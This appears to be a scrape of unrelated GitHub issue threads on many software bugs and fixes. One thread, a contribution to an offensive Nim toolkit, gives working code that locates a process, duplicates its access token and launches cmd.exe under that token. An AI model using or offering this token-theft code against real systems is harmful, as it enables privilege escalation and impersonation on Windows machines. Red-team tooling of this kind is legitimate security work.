    var mirror = _inspector.reflect(this);
    var buffer = new StringBuffer();
    buffer.writeln("$indent${mirror.type.qualifiedName} {");

    inspectValues().forEach((key, value) {
      if (value is Inspectable) {
        value = value._inspectWithOptions(indent: "$indent  ").trim();
      }

      buffer.writeln("$indent  $key: $value");
    });

    buffer.writeln("$indent}");
    return buffer.toString();
  }
}

Any help on the correct capabilities to use would be appreciated.


BNV Fix and Some Fragment Code

Started Fragments but made no progress. Found a bug in Nav View and fixes it

Looks good to me. I checked the bottom nav view, didn't look at any of the fragment code you added, as there isn't functionality. Bug looks fixed.


Table 11 goes past the page lines

Table 11 has too many rows. The caption can be shorted to reference the document section that explains how age-comps are created even more than previously done, the colname of Number of samples could be reduced to "N" and add (N) to the caption, and the ages could be used as column names rather than having two lines.

You can also make it a smaller font

You can also make it a smaller font

'No. samples' might fit on one row.
Also, similarly, several sideways tables (Tables (20, 21, 22) need tweaking/fixing to avoid blank pages. Happens every year (so maybe search past Issues).

'No. samples' might fit on one row.
Also, similarly, several sideways tables (Tables (20, 21, 22) need tweaking/fixing to avoid blank pages. Happens every year (so maybe search past Issues).

Looks like (Figure 19 of compositions of median fits to age comps) that we do have medians of proportions-at-age, so maybe we can update Tables 20-22 to be MCMC?

Looks like (Figure 19 of compositions of median fits to age comps) that we do have medians of proportions-at-age, so maybe we can update Tables 20-22 to be MCMC?

@andrew-edwards I made a commit which makes this table multiple landscape pages, and a little larger font. The problem is that the second landscape page has a footer on the side. I noticed that the other landscape pages have no footer at all. I wondered if you wanted to take a crack at trying to resolve the footer issue which is a LaTeX issue? I have tried in the past with csasdown but couldn't get it right.

@andrew-edwards I made a commit which makes this table multiple landscape pages, and a little larger font. The problem is that the second landscape page has a footer on the side. I noticed that the other landscape pages have no footer at all. I wondered if you wanted to take a crack at trying to resolve the footer issue which is a LaTeX issue? I have tried in the past with csasdown but couldn't get it right.

I'll look into it at some point. Don't expect it will be fun ;)
Yes, we can't keep getting away with just shrinking fonts, so need multi-page landscape tables. My current build has the blank pages between landscape tables, which I think is related (and they got a row longer than last year, pushing something over the edge....).

I'll look into it at some point. Don't expect it will be fun ;)
Yes, we can't keep getting away with just shrinking fonts, so need multi-page landscape tables. My current build has the blank pages between landscape tables, which I think is related (and they got a row longer than last year, pushing something over the edge....).

I actually made some progress on this because the whole doc was messed up. See a6d391f35d71eee0f4bfb608240f6a8838a8f3a1
The only remaining issue here is that the page number does not appear on the second landscape page of a longtable.
This will allow us in the future to make all the large, landscape tables longtables instead of just making the font smaller every year to try and squeeze it all on one page!

I actually made some progress on this because the whole doc was messed up. See a6d391f35d71eee0f4bfb608240f6a8838a8f3a1
The only remaining issue here is that the page number does not appear on the second landscape page of a longtable.
This will allow us in the future to make all the large, landscape tables longtables instead of just making the font smaller every year to try and squeeze it all on one page!

Major changes fixes this: 5dddb53b0268e7a5a8bef079b2d423cd35b9d221

Major changes fixes this: 5dddb53b0268e7a5a8bef079b2d423cd35b9d221


Update HMT Sanctions Data URL

Update GB HMT Sanctions Data URL from the retired S3 storage to the new Azure Blob storage

Verified this is a real thing:
http://sanctionsnews.bakermckenzie.com/ofsi-publish-new-links-to-the-consolidated-list/
Thanks for the contribution, merging!


Crash on EA version of JDK

Version(s)
Scala CLI version: 1.0.4
Describe the bug
Calling Scala-CLI (scala-cli -j system someCode.scala ) crashes with the following error:
Failed to parse output of 'bloop about':
bloop v1.5.9-sc-1

Using Scala v2.12.18 and Zinc v1.9.2
Running on Java JDK v17.0.9-ea (/usr/lib/jvm/java-17-openjdk-amd64)
  -> Supports debugging user code, Java Debug Interface (JDI) is available.
Maintained by the Scala Center and the community.

Starting compilation server
Error: java.lang.RuntimeException: Fatal error, could not spawn Bloop: failed to parse output: 'bloop v1.5.9-sc-1

Using Scala v2.12.18 and Zinc v1.9.2
Running on Java JDK v17.0.9-ea (/usr/lib/jvm/java-17-openjdk-amd64)
  -> Supports debugging user code, Java Debug Interface (JDI) is available.
Maintained by the Scala Center and the community.

To Reproduce
Install the current OpenJDK release on Debian Testing, which is currently an early-access version (for whatever reasons, IDK), or some other Java Runtime EA release.
Run Scala-CLI with that JDK (e.g. -j system flag).
Expected behaviour
Should not crash.
I've encountered this bug first in bleep. But just found out it affects also Scala-CLI.
There is already a patch prepared at https://github.com/scala-cli/bloop-core/pull/153. Could someone please have a look?
Thanks for making Scala-CLI! Looking forward to having it working again. :smile:

@lwronski I think the update was merged and we can close?

lwronski I think the update was merged and we can close?

Fixed in https://github.com/scala-cli/bloop-core/pull/153. @SlowBrainDude Thanks for fix!
Changes from bloop included in https://github.com/VirtusLab/scala-cli/pull/2401.


adding prompt with defer option

Suggested change so that you can allow multiple prompts and then force without MDM agent being held up. My intended way of using this is setting it to run once a day with Jamf so the users get prompted a couple times and then are forced.

Thank you for the contribution.
Can you somehow remove all the white space changes? Those change all over the file, can make merging of other PRs difficult or impossible.


npx sb@next upgrade

Something funny went on with dependabot upgrading storybook. Folks are seeing this error:
Step 10/12 : RUN npm ci --loglevel error && bundle config --local path "vendor/bundle" && bundle config --local without test && bundle config && bundle install && gem cleanup
 ---> Running in 3b37a6ee0f17
npm ERR! @storybook/addons not accessible from @storybook/addon-a11y
npm ERR! A complete log of this run can be found in:
npm ERR!     /home/node/.npm/_logs/2020-11-02T16_30_14_931Z-debug.log

Running npx sb@next upgrade sorts things out.

Yeah something funny went on. I noticed dependabot raised more PRs for the same version bump today, even though in theory they were merged yesterday. Will see if I can work out why, but for now this sorts things.


ReleaseKey=394271

,NET Checker evidently hasn't been updated to support the .NET Framework 4.6.1. The release key for WIndows 10 is 394254, and the key for all other operating systems is 394271. It recognizes neither.

Adding a Description for this bug...
When someone wants to check what version of the .NET Framework they have, they can use this little utility that they run on their machine. It checks the registry for a number which is the SPECIFIC version of whatever .NET Framework you have. So 4.6 is some number and 4.6.1 is another. Every time a new version comes out we need to update the website with details on where to download it or what it is.

I tried to reproduce this bug.
From what I read in the code of "Program.cs", if the release key is 394271, the program causes the user's default browser to launch and display the url "http://smallestdotnet.com/?releaseKey=394271".
On opening this url from my computer, the website says
"We Found .NET!
The .Net Checker application determined that you have 4.6.1 on your machine. You have 4.6.1, this is a recent version of .NET. Download an installer for the newest version .NET 4.6.1 Web."
which is not very different from when I set release key as that of .NET Framework 4.5.1 (378758) as the corresponding url "http://smallestdotnet.com/?releaseKey=378758" says
"We Found .NET!
The .Net Checker application determined that you have 4.5.1 on your machine."
So, what exactly do you mean by the .NET Checker not recognizing the release keys 394254 and 394271?

Here is a list of all the release keys. I (or someone) needs to update the
app to support and recognize ALL these:
https://msdn.microsoft.com/en-us/library/hh925568(v=vs.110).aspx
On Tue, Mar 15, 2016 at 11:00 AM, Apoorv Nandan<EMAIL_ADDRESS>wrote:

I tried to reproduce this bug.
From what I read in the code of "Program.cs", if the release key is
394271, the program causes the user's default browser to launch and display
the url "http://smallestdotnet.com/?releaseKey=394271".
On opening this url from my computer, the website says
"
We Found .NET! The .Net Checker application determined that you have
4.6.1 on your machine. You have 4.6.1, this is a recent version of .NET.
Download an installer for the newest version .NET 4.6.1 Web."
which is not very different from when I set release key as that of .NET
Framework 4.5.1 (378758) as the corresponding url "
http://smallestdotnet.com/?releaseKey=378758" says
"
We Found .NET! The .Net Checker application determined that you have
4.5.1 on your machine."
So, what exactly do you mean by the .NET Checker not recognizing the
release keys 394254 and 394271?
—
You are receiving this because you commented.
Reply to this email directly or view it on GitHub
https://github.com/shanselman/SmallestDotNet/issues/67#issuecomment-196950103

--
Scott Hanselman
Donate to fight diabetes: http://hnsl.mn/fightdiabetes

Shouldn't this be closed?. Also, from what i saw, all the others issues tagged as "first-timers-only" were resolved.


Add Auth Check Handler to Continue User Actions

Right now when a logged out user goes to place a bet, they are forced to log in (or create an account) and then have to re-attempt placing the bet. This PR introduces an authCheckHandler to replace basic firebaseLogin calls and continue the user action automatically once they are successfully logged in.

Would users expect the bet to go through? They might want to reconsider based on what balance they get on signing up?
If new users do want this, happy to merge after fixing merge conflicts.


⚠ Avatar API Endpoint has degraded performance

In 8808a96, Avatar API Endpoint (https://avatar.roblox.com/v1/avatar-rules) experienced degraded performance:

HTTP code: 200
Response time: 1008 ms

Resolved: Avatar API Endpoint performance has improved in 11e7c58 after 4 minutes.


Player movement jittering issue

Please see video attached:
https://streamable.com/n50q4g
When a player finishes the desired path the sprite jitters.

Thanks for the feedback, I'm looking into it

I believe this is due to lag, it happens a lot more (jumping back and forth) in extreme situations.
https://user-images.githubusercontent.com/80640570/155290618-91c123da-5697-4014-a4c7-5e038f93c544.mp4

In fact, it is because the server is ahead of the client. It is enough that the client's FPS is slower (40 FPS for example), while the server is at 60 FPS, then the reconciliation between server and client will produce the jumps.
To fix the bug, we have to add the deltaTime notion on the positions in order to take into account the FPS lag.
For the moment, it is under consideration ;) But classified in priority in the corrections for the next release

For the moment, no precision on a release date :)

Fixed in the latest version (beta.6)


Change URL to https://jarbas.serenatadeamor.org/

DNS is already configured. We probably have to regenerate SSL certificates.

Closed by #145


[Contribution]: steal token

Hey I was wondering if I could get your help with this one. I have tried to expand on what you have already done and been working on steal_token module for offensive Nim. Here is what I have so far:

import winim
import strutils

proc toString(chars: openArray[WCHAR]): string =
    result = ""
    for c in chars:
        if cast[char](c) == '\0':
            break
        result.add(cast[char](c))

proc GetLsassPid(name: string): int =
    var
        entry: PROCESSENTRY32
        hSnapshot: HANDLE

    entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    defer: CloseHandle(hSnapshot)

    if Process32First(hSnapshot, addr entry):
        while Process32Next(hSnapshot, addr entry):
            if entry.szExeFile.toString == name:
                return int(entry.th32ProcessID)

    return 0

#proc GetTokenInformation(TokenHandle: HANDLE;
#                          TokenInformationClass: TOK_INFO_CLASS;
#                          TokenInformation: LPVOID;
#                          TokenInformationLength: DWORD; ReturnLength: PDWORD): WINBOOL {.
#    stdcall, dynlib: "advapi32", importc: "GetTokenInformation".}

when isMainModule:
    var name: string = readLine(stdin)
    let processId: int = GetLsassPid(name)
    if not bool(processId):
        echo "[X] Unable to find: ", name, " process"
        quit(1)
    else:
        echo "Found: ", name, " with PID: ", processId

    var
      process_token: HANDLE
      duplicateTokenHandle: HANDLE

    var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
    if not (bool)hProcess:
      raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
    else:
      echo "Succeded opening handle on: ", name, " ", (bool)hProcess
      echo "    \\-- Handle ID is: ", hProcess

    var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
    if not bool(getToken):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "Succeded opening process token: ", (bool)getToken
      echo "    \\-- Handle ID is: ", getToken
      echo "    \\-- Process Token ID is: ", process_token

    # This is failing with error 1346: Either a required impersonation level was not provided, or the provided impersonation level is invalid.
    var tokenDuplication: HANDLE = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, cast[SECURITY_IMPERSONATION_LEVEL](SecurityImpersonation), cast[TOKEN_TYPE](tokenPrimary), cast[PHANDLE](addr(duplicateTokenHandle)))
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "TokenDuplciation status: ", bool(tokenDuplication)

At the moment I cannot get DuplicateTokenEx to work and I am not sure what I am doing wrong. It is failing with above error and was wondering if you could ever be so kind to take a look.
Many thanks for everything.
I should mentioned, that I executed following program with Administrative privileges.

Problem solved with changing SecurityImpersonation to securityImpersonation :)

    var tokenDuplication = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, securityImpersonation, cast[TOKEN_TYPE](tokenPrimary), &duplicateTokenHandle)
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "TokenDuplciation status: ", bool(tokenDuplication)

Here is the working solution:
import winim
import strutils

proc toString(chars: openArray[WCHAR]): string =
    result = ""
    for c in chars:
        if cast[char](c) == '\0':
            break
        result.add(cast[char](c))

proc GetProcessPid(name: string): int =
    var
        entry: PROCESSENTRY32
        hSnapshot: HANDLE

    entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    defer: CloseHandle(hSnapshot)

    if Process32First(hSnapshot, addr entry):
        while Process32Next(hSnapshot, addr entry):
            if entry.szExeFile.toString == name:
                return int(entry.th32ProcessID)

    return 0

when isMainModule:
    var name: string = readLine(stdin)
    let processId: int = GetProcessPid(name)
    if not bool(processId):
        echo "[X] Unable to find: ", name, " process"
        quit(1)
    else:
        echo "[*] Found ", name, " with PID: ", processId

    var
      process_token: HANDLE
      duplicateTokenHandle: HANDLE
      si: STARTUPINFOEX
      pi: PROCESS_INFORMATION

    var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
    if not (bool)hProcess:
      raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded opening handle on ", name, ": ", (bool)hProcess
      echo "    \\-- Handle ID is: ", hProcess

    var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
    if not bool(getToken):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded opening process token: ", (bool)getToken
      echo "    \\-- Process Token ID is: ", process_token

    # This is failing with error 1346: Either a required impersonation level was not provided, or the provided impersonation level is invalid.
    var tokenDuplication = DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL, securityImpersonation, tokenPrimary, &duplicateTokenHandle)
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded duplicating ", name, " token: ", bool(tokenDuplication)

    si.StartupInfo.cb = sizeof(si).cint

    var spawnConsole = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_NETCREDENTIALS_ONLY, r"C:\Windows\System32\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, addr si.StartupInfo, addr pi);
    if not bool(spawnConsole):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "[*] Succeeded creating elevated command prompt: ", bool(spawnConsole)

@rafale0n heya, this is dope! would you mind opening a pull request with this ? would make it easier for me to merge this in.
Cheers!

https://github.com/byt3bl33d3r/OffensiveNim/pull/52
Here is my contribution if you want...


ViewSettingsCustomItem.clone() does not clone its customControl aggregation

SAPUI5 Version: 1.34.2
Browsers: all
jsbin demo: https://jsbin.com/kipagasesa/edit?html,output
sap.m.ViewSettingsCustomItem has an aggregation customControl, see https://github.com/SAP/openui5/blob/960f0ccd4d27065e9155bb26430d298106039dfb/src/sap.m/src/sap/m/ViewSettingsCustomItem.js#L46
However, the setter for the aggregation customControl is overwritten, see https://github.com/SAP/openui5/blob/960f0ccd4d27065e9155bb26430d298106039dfb/src/sap.m/src/sap/m/ViewSettingsCustomItem.js#L62-L73
The documentation for this setter is very interesting, as it gives you a small hint (but why is customControl not an association then?). However, I think either the documentation should be extended or the code should be corrected in order to avoid confusion.
The current (custom) implementation of the setter leads to the fact that cloning an instance of ViewSettingsCustomItem does not clone its customControl, see the jsbin example linked above or the code below. Due to the implemented code ManagedObject.findAggregatedObjects(true)does not find the aggregation customControl (check it in the debugger).
Unfortunately, this also means that it is currently impossible to implement a ViewSettingsDialog example that fills its filterItems via data binding + using a template (the template could look something like  oViewSettingsCustomItem in the code below). Well, you can use it, but since the clone() does not work as expected you won't see the customControlas the "detail filter". The only way to solve this is by using a factory function. Alternatively, if customControl was a "real" aggregation everything would work fine (my preference).
What do you think? Dosen't it make sense to simply use a real aggregation for customControl instead of a faked aggregation which is not a real aggregation? I really want to use aggregation binding + template...
sap.ui.getCore().attachInit(function () {
    "use strict";

    sap.ui.define([
        "sap/m/ViewSettingsCustomItem",
        "sap/m/Input",
        "sap/m/MessageToast"
    ], function(ViewSettingsCustomItem, Input, MessageToast){

        var oViewSettingsCustomItem = new ViewSettingsCustomItem({
            text     : "SomeText",
            key      : "SomeKey",
            customControl : new sap.m.Input()
        });

        var oClone = oViewSettingsCustomItem.clone();
        MessageToast.show("oClone.getCustomControl() => " + oClone.getCustomControl());
        //==> undefined!!!
    });
});

Hi Nabi,
thanks for reporting this issue and your detailed description, it is perfect to reproduce for us.
Opened an internal issue to better keep track of this bug, we will get back to you soon.
#1670048016
Kind Regards,
Michael

Hi,
We now clone the fake aggregation. As mentioned in the comment of the setter method, who wrote this was considering that customControl won't be used as an aggregation.
The issue is fixed in current master, 1.36.2, 1.34.7,  1.32.12.
Regards,
Alex